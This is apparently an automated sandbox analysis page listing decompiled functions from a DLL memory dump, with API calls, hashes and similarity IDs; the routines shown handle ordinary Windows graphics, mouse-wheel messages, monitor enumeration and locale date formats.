Function 00B37A88 Relevance: 21.2, APIs: 14, Instructions: 217
windowCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E00B37A88(intOrPtr* __eax, void* __ebx, signed int __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _v8;
				void* _v12;
				char _v13;
				struct tagPOINT _v21;
				struct HDC__* _v28;
				void* _v32;
				intOrPtr _t78;
				struct HDC__* _t80;
				signed int _t82;
				signed int _t83;
				signed int _t84;
				char _t85;
				void* _t92;
				struct HDC__* _t115;
				void* _t136;
				struct HDC__* _t160;
				intOrPtr* _t164;
				intOrPtr _t172;
				intOrPtr _t176;
				intOrPtr _t178;
				intOrPtr _t180;
				int* _t184;
				intOrPtr _t186;
				void* _t188;
				void* _t189;
				intOrPtr _t190;

				_t165 = __ecx;
				_t188 = _t189;
				_t190 = _t189 + 0xffffffe4;
				_t184 = __ecx;
				_v8 = __edx;
				_t164 = __eax;
				_t186 =  *((intOrPtr*)(__eax + 0x28));
				_t172 =  *0xb37cd4; // 0xf
				E00B3516C(_v8, __ecx, _t172);
				E00B38018(_t164);
				_v12 = 0;
				_v13 = 0;
				_t78 =  *((intOrPtr*)(_t186 + 0x10));
				if(_t78 != 0) {
					_push(0xffffffff);
					_push(_t78);
					_t160 =  *(_v8 + 4);
					_push(_t160);
					L00B16FC4();
					_v12 = _t160;
					_push( *(_v8 + 4));
					L00B16F9C();
					_v13 = 1;
				}
				_push(0xc);
				_t80 =  *(_v8 + 4);
				_push(_t80);
				L00B16F24();
				_push(_t80);
				_push(0xe);
				_t82 =  *(_v8 + 4);
				L00B16F24();
				_t83 = _t82;
				_t84 = _t83 * _t82;
				if(_t84 > 8) {
					L4:
					_t85 = 0;
				} else {
					_t165 =  *(_t186 + 0x28) & 0x0000ffff;
					if(_t84 < ( *(_t186 + 0x2a) & 0x0000ffff) * ( *(_t186 + 0x28) & 0x0000ffff)) {
						_t85 = 1;
					} else {
						goto L4;
					}
				}
				if(_t85 == 0) {
					if(E00B37E14(_t164) == 0) {
						SetStretchBltMode(E00B35098(_v8), 3);
					}
				} else {
					GetBrushOrgEx( *(_v8 + 4),  &_v21);
					SetStretchBltMode( *(_v8 + 4), 4);
					SetBrushOrgEx( *(_v8 + 4), _v21, _v21.y,  &_v21);
				}
				_push(_t188);
				_push(0xb37cc4);
				_push( *[fs:eax]);
				 *[fs:eax] = _t190;
				if( *((intOrPtr*)( *_t164 + 0x28))() != 0) {
					E00B37FB8(_t164, _t165);
				}
				_t92 = E00B37D58(_t164);
				_t176 =  *0xb37cd4; // 0xf
				E00B3516C(_t92, _t165, _t176);
				if( *((intOrPtr*)( *_t164 + 0x28))() == 0) {
					StretchBlt( *(_v8 + 4),  *_t184, _t184[1], _t184[2] -  *_t184, _t184[3] - _t184[1],  *(E00B37D58(_t164) + 4), 0, 0,  *(_t186 + 0x1c),  *(_t186 + 0x20),  *(_v8 + 0x20));
					_pop(_t178);
					 *[fs:eax] = _t178;
					_push(0xb37ccb);
					if(_v13 != 0) {
						_push(0xffffffff);
						_push(_v12);
						_t115 =  *(_v8 + 4);
						_push(_t115);
						L00B16FC4();
						return _t115;
					}
					return 0;
				} else {
					_v32 = 0;
					_v28 = 0;
					_push(_t188);
					_push(0xb37c59);
					_push( *[fs:eax]);
					 *[fs:eax] = _t190;
					L00B16E94();
					_v28 = E00B35484(0);
					_v32 = SelectObject(_v28,  *(_t186 + 0xc));
					E00B35628( *(_v8 + 4), _t164, _t184[1],  *_t184, _t184, _t186, 0, 0, _v28,  *(_t186 + 0x20),  *(_t186 + 0x1c), 0, 0,  *(E00B37D58(_t164) + 4), _t184[3] - _t184[1], _t184[2] -  *_t184);
					_t136 = 0;
					_t180 = 0;
					 *[fs:eax] = _t180;
					_push(0xb37c9e);
					if(_v32 != 0) {
						_t136 = SelectObject(_v28, _v32);
					}
					if(_v28 != 0) {
						return DeleteDC(_v28);
					}
					return _t136;
				}
			}

0x00b37a88
0x00b37a89
0x00b37a8b
0x00b37a91
0x00b37a93
0x00b37a96
0x00b37a98
0x00b37a9b
0x00b37aa4
0x00b37aab
0x00b37ab2
0x00b37ab5
0x00b37ab9
0x00b37abe
0x00b37ac0
0x00b37ac2
0x00b37ac6
0x00b37ac9
0x00b37aca
0x00b37acf
0x00b37ad8
0x00b37ad9
0x00b37ade
0x00b37ade
0x00b37ae2
0x00b37ae7
0x00b37aea
0x00b37aeb
0x00b37af0
0x00b37af1
0x00b37af6
0x00b37afa
0x00b37b01
0x00b37b02
0x00b37b07
0x00b37b18
0x00b37b18
0x00b37b09
0x00b37b0d
0x00b37b16
0x00b37b1c
0x00000000
0x00000000
0x00000000
0x00b37b16
0x00b37b20
0x00b37b63
0x00b37b70
0x00b37b70
0x00b37b22
0x00b37b2d
0x00b37b3b
0x00b37b53
0x00b37b53
0x00b37b77
0x00b37b78
0x00b37b7d
0x00b37b80
0x00b37b8c
0x00b37b90
0x00b37b90
0x00b37b97
0x00b37b9c
0x00b37ba2
0x00b37bb0
0x00b37c99
0x00b37ca0
0x00b37ca3
0x00b37ca6
0x00b37caf
0x00b37cb1
0x00b37cb6
0x00b37cba
0x00b37cbd
0x00b37cbe
0x00000000
0x00b37cbe
0x00b37cc3
0x00b37bb6
0x00b37bb8
0x00b37bbd
0x00b37bc2
0x00b37bc3
0x00b37bc8
0x00b37bcb
0x00b37bd0
0x00b37bda
0x00b37bea
0x00b37c24
0x00b37c29
0x00b37c2b
0x00b37c2e
0x00b37c31
0x00b37c3a
0x00b37c44
0x00b37c44
0x00b37c4d
0x00000000
0x00b37c53
0x00b37c58
0x00b37c58

APIs

Part of subcall function 00B38018: 73BEAC50.USER32(00000000,?,?,?,?,00B36C4F,00000000,00B36CDB), ref: 00B3806E
Part of subcall function 00B38018: 73BEAD70.GDI32(00000000,0000000C,00000000,?,?,?,?,00B36C4F,00000000,00B36CDB), ref: 00B38083
Part of subcall function 00B38018: 73BEAD70.GDI32(00000000,0000000E,00000000,0000000C,00000000,?,?,?,?,00B36C4F,00000000,00B36CDB), ref: 00B3808D
Part of subcall function 00B38018: CreateHalftonePalette.GDI32(00000000,00000000,?,?,?,?,00B36C4F,00000000,00B36CDB), ref: 00B380B1
Part of subcall function 00B38018: 73BEB380.USER32(00000000,00000000,00000000,?,?,?,?,00B36C4F,00000000,00B36CDB), ref: 00B380BC

73BEB410.GDI32(?,?,000000FF), ref: 00B37ACA
73BEB150.GDI32(?,?,?,000000FF), ref: 00B37AD9
73BEAD70.GDI32(?,0000000C), ref: 00B37AEB
73BEAD70.GDI32(?,0000000E,00000000,?,0000000C), ref: 00B37AFA
GetBrushOrgEx.GDI32(?,?,0000000E,00000000,?,0000000C), ref: 00B37B2D
SetStretchBltMode.GDI32(?,00000004), ref: 00B37B3B
SetBrushOrgEx.GDI32(?,?,?,?,?,00000004,?,?,0000000E,00000000,?,0000000C), ref: 00B37B53
SetStretchBltMode.GDI32(00000000,00000003), ref: 00B37B70
73BEA590.GDI32(00000000,00000000,00B37C59,?,?,0000000E,00000000,?,0000000C), ref: 00B37BD0
SelectObject.GDI32(?,?), ref: 00B37BE5
SelectObject.GDI32(?,00000000), ref: 00B37C44
DeleteDC.GDI32(00000000), ref: 00B37C53

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: BrushModeObjectSelectStretch$A590B150B380B410CreateDeleteHalftonePalette
String ID:
API String ID: 2051775979-0
Opcode ID: f4390f1cf79a2a91a43b90e57a1c4088e8df864e802cf4b4b73b0427aaf38a0a
Instruction ID: 5f0e62ef7acda3af9e8ef130809630d9807e5aa200e6edabc97e16a859fc18fe
Opcode Fuzzy Hash: f4390f1cf79a2a91a43b90e57a1c4088e8df864e802cf4b4b73b0427aaf38a0a
Instruction Fuzzy Hash: 4F7119B5A44605AFCB60DFA8C995F9EBBF8EF08300F6485A4B508E7291DB34ED45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00B35494 Relevance: 21.1, APIs: 14, Instructions: 131
windowCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00B35494(struct HDC__* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi) {
				void* _v8;
				int _v12;
				int _v16;
				void* _v20;
				int _v24;
				struct HDC__* _v28;
				struct HDC__* _v32;
				int _v48;
				int _v52;
				void _v56;
				int _t37;
				void* _t41;
				int _t43;
				void* _t47;
				void* _t72;
				intOrPtr _t79;
				intOrPtr _t80;
				void* _t85;
				void* _t87;
				void* _t88;
				intOrPtr _t89;

				_t87 = _t88;
				_t89 = _t88 + 0xffffffcc;
				asm("movsd");
				asm("movsd");
				_t71 = __ecx;
				_v8 = __eax;
				_push(0);
				L00B16E94();
				_v28 = __eax;
				_push(0);
				L00B16E94();
				_v32 = __eax;
				_push(_t87);
				_push(0xb355e2);
				_push( *[fs:eax]);
				 *[fs:eax] = _t89;
				_t37 = GetObjectA(_v8, 0x18,  &_v56);
				if(__ecx == 0) {
					_push(0);
					L00B171A4();
					_v24 = _t37;
					if(_v24 == 0) {
						E00B353DC(__ecx);
					}
					_push(_t87);
					_push(0xb35551);
					_push( *[fs:eax]);
					 *[fs:eax] = _t89;
					_push(_v12);
					_push(_v16);
					_t41 = _v24;
					_push(_t41);
					L00B16E8C();
					_v20 = _t41;
					if(_v20 == 0) {
						E00B353DC(_t71);
					}
					_pop(_t79);
					 *[fs:eax] = _t79;
					_push(0xb35558);
					_t43 = _v24;
					_push(_t43);
					_push(0);
					L00B173DC();
					return _t43;
				} else {
					_push(0);
					_push(1);
					_push(1);
					_push(_v12);
					_t47 = _v16;
					_push(_t47);
					L00B16E7C();
					_v20 = _t47;
					if(_v20 != 0) {
						_t72 = SelectObject(_v28, _v8);
						_t85 = SelectObject(_v32, _v20);
						StretchBlt(_v32, 0, 0, _v16, _v12, _v28, 0, 0, _v52, _v48, 0xcc0020);
						if(_t72 != 0) {
							SelectObject(_v28, _t72);
						}
						if(_t85 != 0) {
							SelectObject(_v32, _t85);
						}
					}
					_pop(_t80);
					 *[fs:eax] = _t80;
					_push(0xb355e9);
					DeleteDC(_v28);
					return DeleteDC(_v32);
				}
			}

0x00b35495
0x00b35497
0x00b354a2
0x00b354a3
0x00b354a4
0x00b354a6
0x00b354a9
0x00b354ab
0x00b354b0
0x00b354b3
0x00b354b5
0x00b354ba
0x00b354bf
0x00b354c0
0x00b354c5
0x00b354c8
0x00b354d5
0x00b354dc
0x00b354f6
0x00b354f8
0x00b354fd
0x00b35504
0x00b35506
0x00b35506
0x00b3550d
0x00b3550e
0x00b35513
0x00b35516
0x00b3551c
0x00b35520
0x00b35521
0x00b35524
0x00b35525
0x00b3552a
0x00b35531
0x00b35533
0x00b35533
0x00b3553a
0x00b3553d
0x00b35540
0x00b35545
0x00b35548
0x00b35549
0x00b3554b
0x00b35550
0x00b354de
0x00b354de
0x00b354e0
0x00b354e2
0x00b354e7
0x00b354e8
0x00b354eb
0x00b354ec
0x00b354f1
0x00b3555c
0x00b3556b
0x00b3557a
0x00b355a1
0x00b355a8
0x00b355af
0x00b355af
0x00b355b6
0x00b355bd
0x00b355bd
0x00b355b6
0x00b355c4
0x00b355c7
0x00b355ca
0x00b355d3
0x00b355e1
0x00b355e1

APIs

73BEA590.GDI32(00000000), ref: 00B354AB
73BEA590.GDI32(00000000,00000000), ref: 00B354B5
GetObjectA.GDI32(?,00000018,?), ref: 00B354D5
73BEA410.GDI32(?,?,00000001,00000001,00000000,00000000,00B355E2,?,00000000,00000000), ref: 00B354EC
73BEAC50.USER32(00000000,00000000,00B355E2,?,00000000,00000000), ref: 00B354F8
73BEA520.GDI32(00000000,?,?,00000000,00B35551,?,00000000,00000000,00B355E2,?,00000000,00000000), ref: 00B35525
73BEB380.USER32(00000000,00000000,00B35558,00000000,00B35551,?,00000000,00000000,00B355E2,?,00000000,00000000), ref: 00B3554B
SelectObject.GDI32(?,?), ref: 00B35566
SelectObject.GDI32(?,00000000), ref: 00B35575
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,?,?,00CC0020), ref: 00B355A1
SelectObject.GDI32(?,00000000), ref: 00B355AF
SelectObject.GDI32(?,00000000), ref: 00B355BD
DeleteDC.GDI32(?), ref: 00B355D3
DeleteDC.GDI32(?), ref: 00B355DC

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: Object$Select$A590Delete$A410A520B380Stretch
String ID:
API String ID: 956127455-0
Opcode ID: d371c1f3e80d2ff6321f5a0533f2beea07c978cd0210d6a8a8149f22e0ce1121
Instruction ID: 0eca0aae8a4d1c932b6ff2132e30b4c148ee8436d6925f7cbf2ff1472d5ef928
Opcode Fuzzy Hash: d371c1f3e80d2ff6321f5a0533f2beea07c978cd0210d6a8a8149f22e0ce1121
Instruction Fuzzy Hash: 6141FA72A44609AFDB10DBE8DC42FEFB7FCEB08700F514494B614E7281D6B5AD408B60

Uniqueness

Uniqueness Score: -1.00%

Function 00B17688 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 61
registryclipboardwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B17688(intOrPtr* __eax, int* __edx, intOrPtr* _a4, intOrPtr* _a8) {
				intOrPtr* _v8;
				struct HWND__* _t19;
				int* _t20;
				int* _t26;
				int* _t27;

				_t26 = _t20;
				_t27 = __edx;
				_v8 = __eax;
				_t19 = FindWindowA("MouseZ", "Magellan MSWHEEL");
				 *_v8 = RegisterClipboardFormatA("MSWHEEL_ROLLMSG");
				 *_t27 = RegisterClipboardFormatA("MSH_WHEELSUPPORT_MSG");
				 *_t26 = RegisterClipboardFormatA("MSH_SCROLL_LINES_MSG");
				if( *_t27 == 0 || _t19 == 0) {
					 *_a8 = 0;
				} else {
					 *_a8 = SendMessageA(_t19,  *_t27, 0, 0);
				}
				if( *_t26 == 0 || _t19 == 0) {
					 *_a4 = 3;
				} else {
					 *_a4 = SendMessageA(_t19,  *_t26, 0, 0);
				}
				return _t19;
			}

0x00b1768f
0x00b17691
0x00b17693
0x00b176a5
0x00b176b4
0x00b176c0
0x00b176cc
0x00b176d1
0x00b176f0
0x00b176d7
0x00b176e7
0x00b176e7
0x00b176f5
0x00b17712
0x00b176fb
0x00b1770b
0x00b1770b
0x00b1771f

APIs

FindWindowA.USER32 ref: 00B176A0
RegisterClipboardFormatA.USER32(MSWHEEL_ROLLMSG), ref: 00B176AC
RegisterClipboardFormatA.USER32(MSH_WHEELSUPPORT_MSG), ref: 00B176BB
RegisterClipboardFormatA.USER32(MSH_SCROLL_LINES_MSG), ref: 00B176C7
SendMessageA.USER32 ref: 00B176DF
SendMessageA.USER32 ref: 00B17703

Strings

MSWHEEL_ROLLMSG, xrefs: 00B176A7
MSH_WHEELSUPPORT_MSG, xrefs: 00B176B6
MSH_SCROLL_LINES_MSG, xrefs: 00B176C2
Magellan MSWHEEL, xrefs: 00B17696
MouseZ, xrefs: 00B1769B

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: ClipboardFormatRegister$MessageSend$FindWindow
String ID: MSH_SCROLL_LINES_MSG$MSH_WHEELSUPPORT_MSG$MSWHEEL_ROLLMSG$Magellan MSWHEEL$MouseZ
API String ID: 1416857345-3736581797
Opcode ID: 024254fb882559385a6cc81a051226c6963bbfabd64dd64ae7cf54d5f8fd7482
Instruction ID: 83103ec26cea4700d145c334e118bb73dcab6e6d9cfb096c2e57355b7fef8b37
Opcode Fuzzy Hash: 024254fb882559385a6cc81a051226c6963bbfabd64dd64ae7cf54d5f8fd7482
Instruction Fuzzy Hash: F4111C70288301AFE7119F68CC82BAAB7F8EF45710FA044A5F8448B291DEB05C81CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00B3F5BC Relevance: 18.1, APIs: 12, Instructions: 142
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00B3F5BC(void* __eax, void* __ecx, intOrPtr __edx) {
				intOrPtr _v8;
				struct HDC__* _v12;
				struct tagRECT _v28;
				struct tagRECT _v44;
				char _v56;
				char _v72;
				signed char _t43;
				struct HDC__* _t55;
				void* _t74;
				signed int _t77;
				int _t78;
				int _t79;
				void* _t92;
				intOrPtr _t105;
				void* _t114;
				void* _t117;
				void* _t120;
				void* _t122;
				intOrPtr _t123;

				_t120 = _t122;
				_t123 = _t122 + 0xffffffbc;
				_t92 = __ecx;
				_v8 = __edx;
				_t114 = __eax;
				_t43 = GetWindowLongA(E00B60FC0(_v8), 0xffffffec);
				if((_t43 & 0x00000002) == 0) {
					return _t43;
				} else {
					GetWindowRect(E00B60FC0(_v8),  &_v44);
					OffsetRect( &_v44,  ~(_v44.left),  ~(_v44.top));
					_t55 = E00B60FC0(_v8);
					_push(_t55);
					L00B1729C();
					_v12 = _t55;
					_push(_t120);
					_push(0xb3f717);
					_push( *[fs:edx]);
					 *[fs:edx] = _t123;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t117 = _t114;
					if(_t92 != 0) {
						_t77 = GetWindowLongA(E00B60FC0(_v8), 0xfffffff0);
						if((_t77 & 0x00100000) != 0 && (_t77 & 0x00200000) != 0) {
							_t78 = GetSystemMetrics(2);
							_t79 = GetSystemMetrics(3);
							InflateRect( &_v28, 0xfffffffe, 0xfffffffe);
							E00B2A228(_v28.right - _t78, _v28.right, _v28.bottom - _t79,  &_v72, _v28.bottom);
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							_t117 = _t117;
							FillRect(_v12,  &_v28, GetSysColorBrush(0xf));
						}
					}
					ExcludeClipRect(_v12, _v44.left + 2, _v44.top + 2, _v44.right - 2, _v44.bottom - 2);
					E00B3F1F4( &_v56, 2);
					E00B3F148(_t117,  &_v56, _v12, 0,  &_v44);
					_pop(_t105);
					 *[fs:eax] = _t105;
					_push(0xb3f71e);
					_push(_v12);
					_t74 = E00B60FC0(_v8);
					_push(_t74);
					L00B173DC();
					return _t74;
				}
			}

0x00b3f5bd
0x00b3f5bf
0x00b3f5c5
0x00b3f5c7
0x00b3f5ca
0x00b3f5d7
0x00b3f5df
0x00b3f724
0x00b3f5e5
0x00b3f5f2
0x00b3f607
0x00b3f60f
0x00b3f614
0x00b3f615
0x00b3f61a
0x00b3f61f
0x00b3f620
0x00b3f625
0x00b3f628
0x00b3f632
0x00b3f633
0x00b3f634
0x00b3f635
0x00b3f636
0x00b3f639
0x00b3f646
0x00b3f650
0x00b3f65b
0x00b3f664
0x00b3f673
0x00b3f68d
0x00b3f699
0x00b3f69a
0x00b3f69b
0x00b3f69c
0x00b3f69d
0x00b3f6ae
0x00b3f6ae
0x00b3f650
0x00b3f6d3
0x00b3f6df
0x00b3f6f2
0x00b3f6f9
0x00b3f6fc
0x00b3f6ff
0x00b3f707
0x00b3f70b
0x00b3f710
0x00b3f711
0x00b3f716
0x00b3f716

APIs

GetWindowLongA.USER32 ref: 00B3F5D7
GetWindowRect.USER32 ref: 00B3F5F2
OffsetRect.USER32(?,?,?), ref: 00B3F607
73BEB080.USER32(00000000,?,?,?,00000000,?,00000000,000000EC), ref: 00B3F615
GetWindowLongA.USER32 ref: 00B3F646
GetSystemMetrics.USER32 ref: 00B3F65B
GetSystemMetrics.USER32 ref: 00B3F664
InflateRect.USER32(?,000000FE,000000FE), ref: 00B3F673
GetSysColorBrush.USER32(0000000F), ref: 00B3F6A0
FillRect.USER32 ref: 00B3F6AE
ExcludeClipRect.GDI32(?,?,?,?,?,00000000,00B3F717,?,00000000,?,?,?,00000000,?,00000000,000000EC), ref: 00B3F6D3
73BEB380.USER32(00000000,?,00B3F71E,?,?,00000000,00B3F717,?,00000000,?,?,?,00000000,?,00000000,000000EC), ref: 00B3F711

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: Rect$Window$LongMetricsSystem$B080B380BrushClipColorExcludeFillInflateOffset
String ID:
API String ID: 3936689491-0
Opcode ID: 920870bff5a498358431fbc6013f719a44308ea72ab35a79f7d24a29f44e0408
Instruction ID: 4d624d0fb38a27f140a88e1e1307e7a4ee5873db5beaee3ffb2ab4a33336ab26
Opcode Fuzzy Hash: 920870bff5a498358431fbc6013f719a44308ea72ab35a79f7d24a29f44e0408
Instruction Fuzzy Hash: 1F412E72A44109ABDB11EAE8DD42EEFB7FDEF49310F5001A0F914F7251CA74AE458764

Uniqueness

Uniqueness Score: -1.00%

Function 00B3A030 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 109
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00B3A030(struct HDC__* _a4, RECT* _a8, _Unknown_base(*)()* _a12, long _a16) {
				struct tagPOINT _v12;
				int _v16;
				struct tagRECT _v32;
				struct tagRECT _v48;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t60;
				int _t61;
				RECT* _t64;
				struct HDC__* _t65;

				_t64 = _a8;
				_t65 = _a4;
				if( *0xbdf923 != 0) {
					_t61 = 0;
					if(_a12 == 0) {
						L14:
						return _t61;
					}
					_v32.left = 0;
					_v32.top = 0;
					_v32.right = GetSystemMetrics(0);
					_v32.bottom = GetSystemMetrics(1);
					if(_t65 == 0) {
						if(_t64 == 0 || IntersectRect( &_v32,  &_v32, _t64) != 0) {
							L13:
							_t61 = _a12(0x12340042, _t65,  &_v32, _a16);
						} else {
							_t61 = 1;
						}
						goto L14;
					}
					_v16 = GetClipBox(_t65,  &_v48);
					if(GetDCOrgEx(_t65,  &_v12) == 0) {
						goto L14;
					}
					OffsetRect( &_v32,  ~(_v12.x),  ~(_v12.y));
					if(IntersectRect( &_v32,  &_v32,  &_v48) == 0 || _t64 != 0) {
						if(IntersectRect( &_v32,  &_v32, _t64) != 0) {
							goto L13;
						}
						if(_v16 == 1) {
							_t61 = 1;
						}
						goto L14;
					} else {
						goto L13;
					}
				}
				 *0xbdf910 = E00B39A84(7, _t60,  *0xbdf910, _t64, _t65);
				_t61 = EnumDisplayMonitors(_t65, _t64, _a12, _a16);
				goto L14;
			}

0x00b3a039
0x00b3a03c
0x00b3a046
0x00b3a076
0x00b3a07c
0x00b3a138
0x00b3a140
0x00b3a140
0x00b3a084
0x00b3a089
0x00b3a094
0x00b3a09f
0x00b3a0a4
0x00b3a10d
0x00b3a125
0x00b3a136
0x00b3a121
0x00b3a121
0x00b3a121
0x00000000
0x00b3a10d
0x00b3a0b0
0x00b3a0bf
0x00000000
0x00000000
0x00b3a0d1
0x00b3a0e9
0x00b3a0ff
0x00000000
0x00000000
0x00b3a105
0x00b3a107
0x00b3a107
0x00000000
0x00000000
0x00000000
0x00000000
0x00b3a0e9
0x00b3a05a
0x00b3a06f
0x00000000

APIs

EnumDisplayMonitors.USER32(?,?,?,?), ref: 00B3A069
GetSystemMetrics.USER32 ref: 00B3A08E
GetSystemMetrics.USER32 ref: 00B3A099
GetClipBox.GDI32(?,?), ref: 00B3A0AB
GetDCOrgEx.GDI32(?,?), ref: 00B3A0B8
OffsetRect.USER32(?,?,?), ref: 00B3A0D1
IntersectRect.USER32 ref: 00B3A0E2
IntersectRect.USER32 ref: 00B3A0F8

Part of subcall function 00B39A84: GetProcAddress.KERNEL32(75BA0000,00000000), ref: 00B39B04

Strings

EnumDisplayMonitors, xrefs: 00B3A048

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: Rect$IntersectMetricsSystem$AddressClipDisplayEnumMonitorsOffsetProc
String ID: EnumDisplayMonitors
API String ID: 362875416-2491903729
Opcode ID: 5ad10ad09852430a6c582f16816094897a3978d87499ca098c124eae30e7d72c
Instruction ID: 139c88948867770ab81ffdb2e70ac6763b78caad83f16875b9c829fb96f0c783
Opcode Fuzzy Hash: 5ad10ad09852430a6c582f16816094897a3978d87499ca098c124eae30e7d72c
Instruction Fuzzy Hash: EE310E7290560AAFDB10DFA4DC44AEFB7FCEB0A310F604166F915E3141EA75DA418BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B1D284 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201
threadCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E00B1D284(void* __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				void* _t104;
				void* _t111;
				void* _t133;
				intOrPtr _t183;
				intOrPtr _t193;
				intOrPtr _t194;

				_t191 = __esi;
				_t190 = __edi;
				_t193 = _t194;
				_t133 = 8;
				do {
					_push(0);
					_push(0);
					_t133 = _t133 - 1;
				} while (_t133 != 0);
				_push(__ebx);
				_push(_t193);
				_push(0xb1d54f);
				_push( *[fs:eax]);
				 *[fs:eax] = _t194;
				E00B1D110();
				E00B1BAB8(__ebx, __edi, __esi);
				_t196 =  *0xbdf750;
				if( *0xbdf750 != 0) {
					E00B1BC90(__esi, _t196);
				}
				_t132 = GetThreadLocale();
				E00B1BA08(_t43, 0, 0x14,  &_v20);
				E00B1427C(0xbdf684, _v20);
				E00B1BA08(_t43, 0xb1d564, 0x1b,  &_v24);
				 *0xbdf688 = E00B18C68(0xb1d564, 0, _t196);
				E00B1BA08(_t132, 0xb1d564, 0x1c,  &_v28);
				 *0xbdf689 = E00B18C68(0xb1d564, 0, _t196);
				 *0xbdf68a = E00B1BA54(_t132, 0x2c, 0xf);
				 *0xbdf68b = E00B1BA54(_t132, 0x2e, 0xe);
				E00B1BA08(_t132, 0xb1d564, 0x19,  &_v32);
				 *0xbdf68c = E00B18C68(0xb1d564, 0, _t196);
				 *0xbdf68d = E00B1BA54(_t132, 0x2f, 0x1d);
				E00B1BA08(_t132, "m/d/yy", 0x1f,  &_v40);
				E00B1BD40(_v40, _t132,  &_v36, _t190, _t191, _t196);
				E00B1427C(0xbdf690, _v36);
				E00B1BA08(_t132, "mmmm d, yyyy", 0x20,  &_v48);
				E00B1BD40(_v48, _t132,  &_v44, _t190, _t191, _t196);
				E00B1427C(0xbdf694, _v44);
				 *0xbdf698 = E00B1BA54(_t132, 0x3a, 0x1e);
				E00B1BA08(_t132, 0xb1d598, 0x28,  &_v52);
				E00B1427C(0xbdf69c, _v52);
				E00B1BA08(_t132, 0xb1d5a4, 0x29,  &_v56);
				E00B1427C(0xbdf6a0, _v56);
				E00B14228( &_v12);
				E00B14228( &_v16);
				E00B1BA08(_t132, 0xb1d564, 0x25,  &_v60);
				_t104 = E00B18C68(0xb1d564, 0, _t196);
				_t197 = _t104;
				if(_t104 != 0) {
					E00B142C0( &_v8, 0xb1d5bc);
				} else {
					E00B142C0( &_v8, 0xb1d5b0);
				}
				E00B1BA08(_t132, 0xb1d564, 0x23,  &_v64);
				_t111 = E00B18C68(0xb1d564, 0, _t197);
				_t198 = _t111;
				if(_t111 == 0) {
					E00B1BA08(_t132, 0xb1d564, 0x1005,  &_v68);
					if(E00B18C68(0xb1d564, 0, _t198) != 0) {
						E00B142C0( &_v12, 0xb1d5d8);
					} else {
						E00B142C0( &_v16, 0xb1d5c8);
					}
				}
				_push(_v12);
				_push(_v8);
				_push(":mm");
				_push(_v16);
				E00B145A8();
				_push(_v12);
				_push(_v8);
				_push(":mm:ss");
				_push(_v16);
				E00B145A8();
				 *0xbdf752 = E00B1BA54(_t132, 0x2c, 0xc);
				_pop(_t183);
				 *[fs:eax] = _t183;
